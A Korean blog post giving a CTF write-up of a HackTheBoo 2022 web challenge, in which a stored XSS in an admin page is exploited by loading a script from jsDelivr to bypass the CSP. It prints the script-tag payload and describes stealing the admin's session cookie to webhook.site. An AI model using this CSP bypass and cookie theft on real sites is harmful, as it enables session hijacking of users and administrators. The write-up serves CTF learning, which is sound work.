티스토리 뷰

728x90
반응형

Introduction

Category : Web

Difficulty : Medium

Description : You've just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?

문제 첫 페이지

Code Analysis

Flag의 위치는 bot.js 파일에 있었습니다.

const flag = fs.readFileSync('/flag.txt', 'utf8');

// ... 생략 ...

const visit = async () => {
    try {
		const browser = await puppeteer.launch(browser_options);
		let context = await browser.createIncognitoBrowserContext();
		let page = await context.newPage();

		let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
		await page.setCookie({
			name: 'session',
			value: token,
			domain: '127.0.0.1:1337'
		});

		await page.goto('http://127.0.0.1:1337/admin', {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

		await page.goto('http://127.0.0.1:1337/admin/delete_all', {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

		setTimeout(() => {
			browser.close();
		}, 5000);

    } catch(e) {
        console.log(e);
    }
};

module.exports = { visit };

관리자의 JWT 토큰 값에 있는 것을 알 수 있습니다. JWT 의 data 영역에 있기 때문에 관리자의 세션을 탈취한 뒤 단순 base64 디코딩하면 보일 것으로 예상됩니다.

 

관리자가 바라보는 페이지인 admin.html 에는 아래와 같이 halloween_name 파라미터에 한해서 HTML 태그를 허용하고 있는 것을 볼 수 있습니다.

<html>
    <head>
        <link rel="stylesheet" href="/static/css/bootstrap.min.css" />
        <title>Admin panel</title>
    </head>

    <body>
        <div class="container" style="margin-top: 20px">
            {% for request in requests %} 
                <div class="card">
                <div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
                <div class="card-body">
                    <p class="card-title"><strong>Email Address</strong>    : {{ request.email }}</p>
                    <p class="card-text"><strong>Costume Type </strong>   : {{ request.costume_type }} </p>
                    <p class="card-text"><strong>Prefers tricks or treat </strong>   : {{ request.trick_or_treat }} </p>
                    
                    <button class="btn btn-primary">Accept</button>
                    <button class="btn btn-danger">Delete</button>
                </div>
            </div>
            {% endfor %}
        </div>

    </body>
</html>

request.halloween_name 파라미터를 어떻게 받아오는지 확인해볼 필요가 있습니다.

 

아래는 routes/index.js 파일 내용입니다. /api/submit 과 /admin 라우팅 경로에 대한 내용입니다.

router.post('/api/submit', (req, res) => {
    const { halloween_name, email, costume_type, trick_or_treat } = req.body;

    if (halloween_name && email && costume_type && trick_or_treat) {

        return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
            .then(() => {
                res.send(response('Your request will be reviewed by our team!'));

                bot.visit();
            })
            .catch(() => res.send(response('Something Went Wrong!')));
    }

    return res.status(401).send(response('Please fill out all the required fields!'));
});

router.get('/admin', AuthMiddleware, (req, res) => {
    if (req.user.user_role !== 'admin') {
        return res.status(401).send(response('Unautorized!'));
    }

    return db.get_party_requests()
        .then((data) => {
            res.render('admin.html', { requests: data });
        });
});

사용자가 /api/submit 으로 halloween_name 값을 보내고 DB에 등록하는 것으로 보여집니다. 그리고 잘 등록되었다면 bot.visit() 함수가 호출되어 bot.js 에서의 동작이 수행되어 관리자가 /admin 경로로 요청을 하여 admin.html 페이지에 사용자가 보낸 halloween_name 을 읽게끔 되어 있는 것으로 보여집니다.

 

때문에 사용자는 결국 halloween_name 값에 임의 XSS 페이로드를 삽입하여 admin 에게 전달해 관리자의 세션을 탈취하면 되는 것입니다.

 

다만 여기서 추가적으로 봐야할 것으로는 CSP 정책입니다. 미들웨어로 등록된 Content-Security-Policy 내용을 보겠습니다.

app.use(function (req, res, next) {
    res.setHeader(
        "Content-Security-Policy",
        "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
    );
    next();
});

잘 보면 다른 건 다 안되고, script 의 경우 특정 도메인의 출처만 허용한다고 되어 있습니다.

 

알아보면 알겠지만 cdn.jsdelivr.net 은 open source를 위한 무료 CDN 서버입니다. npm이나 wordpress 도 지원하고 github도 지원하고 있는 것을 알 수 있습니다.

https://www.jsdelivr.com/

 

jsDelivr - A free, fast, and reliable CDN for Open Source

Supports npm, GitHub, WordPress, Deno, and more. Largest network and best performance among all CDNs. Serving more than 80 billion requests per month. Built for production use.

www.jsdelivr.com

저는 비교적 접근하기 편한 github를 이용하였습니다.

 

Exploit

github에는 test라는 레포지토리를 만들고 그 아래 script.js 라는 파일을 만들고 내용물로 admin의 세션을 탈취하는 페이로드를 작성하였습니다.

그리고 위를 CDN 서버 주소로 매핑해보면 아래와 같이 만들어집니다.

https://cdn.jsdelivr.net/gh/domdom2y2/test@latest/script.js

 

이제 위 주소를 script 태그의 src 속성에 넣어줘서 관리자에게 전달해줍니다.

<script src="https://cdn.jsdelivr.net/gh/domdom2y2/test@latest/script.js"></script>

그러면 아래와 같이 세션을 탈취한 것을 볼 수 있습니다.

webhook.site

그리고 JWT Token의 data부분을 base64 디코딩 해보면 아래와 같이 Flag가 나오는 것을 볼 수 있습니다.

 

이 문제가 HackTheBoo 2022 CTF의 웹의 마지막 문제였습니다.

 

- 끝 -

728x90
반응형
댓글